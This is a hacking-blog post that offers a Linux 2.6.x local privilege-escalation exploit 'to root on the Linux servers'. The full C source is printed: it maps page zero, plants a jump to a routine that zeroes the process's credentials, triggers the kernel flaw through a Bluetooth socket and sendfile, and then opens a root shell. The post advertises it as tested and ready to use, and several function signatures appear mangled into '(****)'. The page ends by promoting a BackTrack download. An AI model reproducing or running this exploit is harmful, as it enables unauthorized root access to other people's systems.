Download Local Root Exploit 2.6.18 2011

Local Roots Exploit are used to root on the Linux servers  different version are comes's out according to updated Linux Servers. So here is the Local Root Exploit Of 2.6.18.2011 with 100% tested OK 

LOcal Root Exploit 2.6.18 2011 by http://www.hackerscafe.in/
DOWNLOAD IT HERE

PASTEBIN LINK- http://pastebin.com/6eUFD2x0


/* 
 * 
 * 
 * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                           
 * 0     _                   __           __       __                     1 
 * 1   /' \            __  /'__`\        /\ \__  /'__`\                   0 
 * 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1 
 * 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0 
 * 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1 
 * 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0 
 * 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1 
 * 1                  \ \____/ >> Exploit database separated by exploit   0 
 * 0                   \/___/          type (local, remote, DoS, etc.)    1 
 * 1                                                                      0 
 * 0  By CrosS                                                            1 
 * 1                                                                      0  
 * 0  Linux 2011                                                          1 
 * 1                                                                      0 
 * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 
 *  
 * Linux 2.6.18-128.el5 
 * Linux 2.6.9-89.EL 
 * Ubuntu 8.10 Linux 2.6.27 
 * 
 * For i386 & ppc compile with the command; 
 * gcc -w -o exploit exploit.c 
 * 
 * For x86_64 kernel and ppc64 Compile as; 
 * gcc -w -m64 -o exploit exploit.c 
 * 
 * Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. ) 
 * 
 * Submit Your Exploit at Submit@1337day.com | mr.inj3ct0r@gmail.com 
 * 
 * For Educational purpose Only)) 
 */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/mman.h> 
#include <sys/sendfile.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <unistd.h> 
  
#if !defined(__always_inline) 
#define __always_inline inline __attribute__((always_inline)) 
#endif 
  
#if defined(__i386__) || defined(__x86_64__) 
#if defined(__LP64__) 
static __always_inline unsigned long 
current_stack_pointer(****) 
{ 
    unsigned long sp; 
  
    asm volatile ("movq %%rsp,%0; " : "=r" (sp)); 
  
    return sp; 
} 
  
#else 
static __always_inline unsigned long 
current_stack_pointer(****) 
{ 
    unsigned long sp; 
  
    asm volatile ("movl %%esp,%0" : "=r" (sp)); 
  
    return sp; 
} 
  
#endif 
  
#elif defined(__powerpc__) || defined(__powerpc64__) 
static __always_inline unsigned long 
current_stack_pointer(****) 
{ 
    unsigned long sp; 
  
    asm volatile ("mr %0,%%r1; " : "=r" (sp)); 
  
    return sp; 
} 
  
#endif 
  
#if defined(__i386__) || defined(__x86_64__) 
#if defined(__LP64__) 
static __always_inline unsigned long 
current_task_struct(****) 
{ 
    unsigned long task_struct; 
  
    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct)); 
  
    return task_struct; 
} 
  
#else 
#define TASK_RUNNING 0 
  
static __always_inline unsigned long 
current_task_struct(****) 
{ 
    unsigned long task_struct, thread_info; 
  
    thread_info = current_stack_pointer() & ~(4096 - 1); 
  
    if (*(unsigned long *)thread_info >= 0xc0000000) { 
        task_struct = *(unsigned long *)thread_info; 
  
        /* 
         * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng 
         * in us3r-spaCe. 
         */ 
        if (*(unsigned long *)task_struct == TASK_RUNNING) 
            return task_struct; 
    } 
  
    /* 
     * Prior to the 2.6 kernel series, the task_struct was stored at the end 
     * of the kernel stack. 
     */ 
    task_struct = current_stack_pointer() & ~(8192 - 1); 
  
    if (*(unsigned long *)task_struct == TASK_RUNNING) 
        return task_struct; 
  
    thread_info = task_struct; 
  
    task_struct = *(unsigned long *)thread_info; 
  
    if (*(unsigned long *)task_struct == TASK_RUNNING) 
        return task_struct; 
  
    return -1; 
} 
  
#endif 
  
#elif defined(__powerpc__) || defined(__powerpc64__) 
#define TASK_RUNNING 0 
  
static __always_inline unsigned long 
current_task_struct(****) 
{ 
    unsigned long task_struct, thread_info; 
  
#if defined(__LP64__) 
    task_struct = current_stack_pointer() & ~(16384 - 1); 
  
#else 
    task_struct = current_stack_pointer() & ~(8192 - 1); 
  
#endif 
  
    if (*(unsigned long *)task_struct == TASK_RUNNING) 
        return task_struct; 
  
    thread_info = task_struct; 
  
    task_struct = *(unsigned long *)thread_info; 
  
    if (*(unsigned long *)task_struct == TASK_RUNNING) 
        return task_struct; 
  
    return -1; 
} 
  
#endif 
  
#if defined(__i386__) || defined(__x86_64__) 
static unsigned long uid, gid; 
  
static int 
change_cred(****) 
{ 
    unsigned int *task_struct; 
  
    task_struct = (unsigned int *)current_task_struct(); 
  
    while (task_struct) { 
        if (task_struct[0] == uid && task_struct[1] == uid && 
                task_struct[2] == uid && task_struct[3] == uid && 
                task_struct[4] == gid && task_struct[5] == gid && 
                task_struct[6] == gid && task_struct[7] == gid) { 
            task_struct[0] = task_struct[1] = 
            task_struct[2] = task_struct[3] = 
            task_struct[4] = task_struct[5] = 
            task_struct[6] = task_struct[7] = 0; 
            break; 
        } 
  
        task_struct++; 
    } 
  
    return -1; 
} 
  
#elif defined(__powerpc__) || defined(__powerpc64__) 
static int 
change_cred(****) 
{ 
    unsigned int *task_struct; 
  
    task_struct = (unsigned int *)current_task_struct(); 
  
    while (task_struct) { 
        if (!task_struct[0]) { 
            task_struct++; 
            continue; 
        } 
  
        if (task_struct[0] == task_struct[1] && 
                task_struct[0] == task_struct[2] && 
                task_struct[0] == task_struct[3] && 
                task_struct[4] == task_struct[5] && 
                task_struct[4] == task_struct[6] && 
                task_struct[4] == task_struct[7]) { 
            task_struct[0] = task_struct[1] = 
            task_struct[2] = task_struct[3] = 
            task_struct[4] = task_struct[5] = 
            task_struct[6] = task_struct[7] = 0; 
            break; 
        } 
  
        task_struct++; 
    } 
  
    return -1; 
} 
  
#endif 
  
#define PAGE_SIZE getpagesize() 
  
int 
main(****) 
{ 
    char *addr; 
    int out_fd, in_fd; 
    char template[] = "/tmp/tmp.XXXXXX"; 
  
#if defined(__i386__) || defined(__x86_64__) 
    uid = getuid(), gid = getgid(); 
  
#endif 
  
    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED| 
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { 
        perror("mmap"); 
        exit(EXIT_FAILURE); 
    } 
  
#if defined(__i386__) || defined(__x86_64__) 
#if defined(__LP64__) 
    addr[0] = '\xff'; 
    addr[1] = '\x24'; 
    addr[2] = '\x25'; 
    *(unsigned long *)&addr[3] = 8; 
    *(unsigned long *)&addr[8] = (unsigned long)change_cred; 
  
#else 
    addr[0] = '\xff'; 
    addr[1] = '\x25'; 
    *(unsigned long *)&addr[2] = 8; 
    *(unsigned long *)&addr[8] = (unsigned long)change_cred; 
  
#endif 
  
#elif defined(__powerpc__) || defined(__powerpc64__) 
#if defined(__LP64__) 
    /* 
     * The use of function descriptors by the Power 64-bit ELF ABI requires 
     * the use of a fake function descriptor.:P 
     */ 
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred; 
  
#else 
    addr[0] = '\x3f'; 
    addr[1] = '\xe0'; 
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16; 
    addr[4] = '\x63'; 
    addr[5] = '\xff'; 
    *(unsigned short *)&addr[6] = (unsigned short)change_cred; 
    addr[8] = '\x7f'; 
    addr[9] = '\xe9'; 
    addr[10] = '\x03'; 
    addr[11] = '\xa6'; 
    addr[12] = '\x4e'; 
    addr[13] = '\x80'; 
    addr[14] = '\x04'; 
    addr[15] = '\x20'; 
  
#endif 
  
#endif 
  
    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) { 
        perror("socket"); 
        exit(EXIT_FAILURE); 
    } 
  
    if ((in_fd = mkstemp(template)) == -1) { 
        perror("mkstemp"); 
        exit(EXIT_FAILURE); 
    } 
  
    if(unlink(template) == -1) { 
        perror("unlink"); 
        exit(EXIT_FAILURE); 
    } 
  
    if (ftruncate(in_fd, PAGE_SIZE) == -1) { 
        perror("ftruncate"); 
        exit(EXIT_FAILURE); 
    } 
  
    sendfile(out_fd, in_fd, NULL, PAGE_SIZE); 
  
    execl("/bin/sh", "sh", "-i", NULL); 
  
    exit(EXIT_SUCCESS); 
}

Download Free Backtrack 5R2 OS

At last after fixing bugs and development of more than 42 tools, the updated version of backtrack 5R1&2 is released. Running on 3.2.6 kernek with awesome support of wireless.And it is the great and fastest version of  backtrack ever!

Advance Features:- 

• More than 42 new tools .added
• Extreme Bugs are fixed
• Metasploit 4.2.0, SET V3.0 ,BeEF 0.4.3.2 are upgraded version
• Updates of Ubuntu Included 

There are some other advanced features check the  official site of Backtrack

you can also update your existing backtrack by adding new update repository -

echo "deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list 
apt-get update 

apt-get dist-upgrade     

DOWNLOAD BACKTRACK 5R1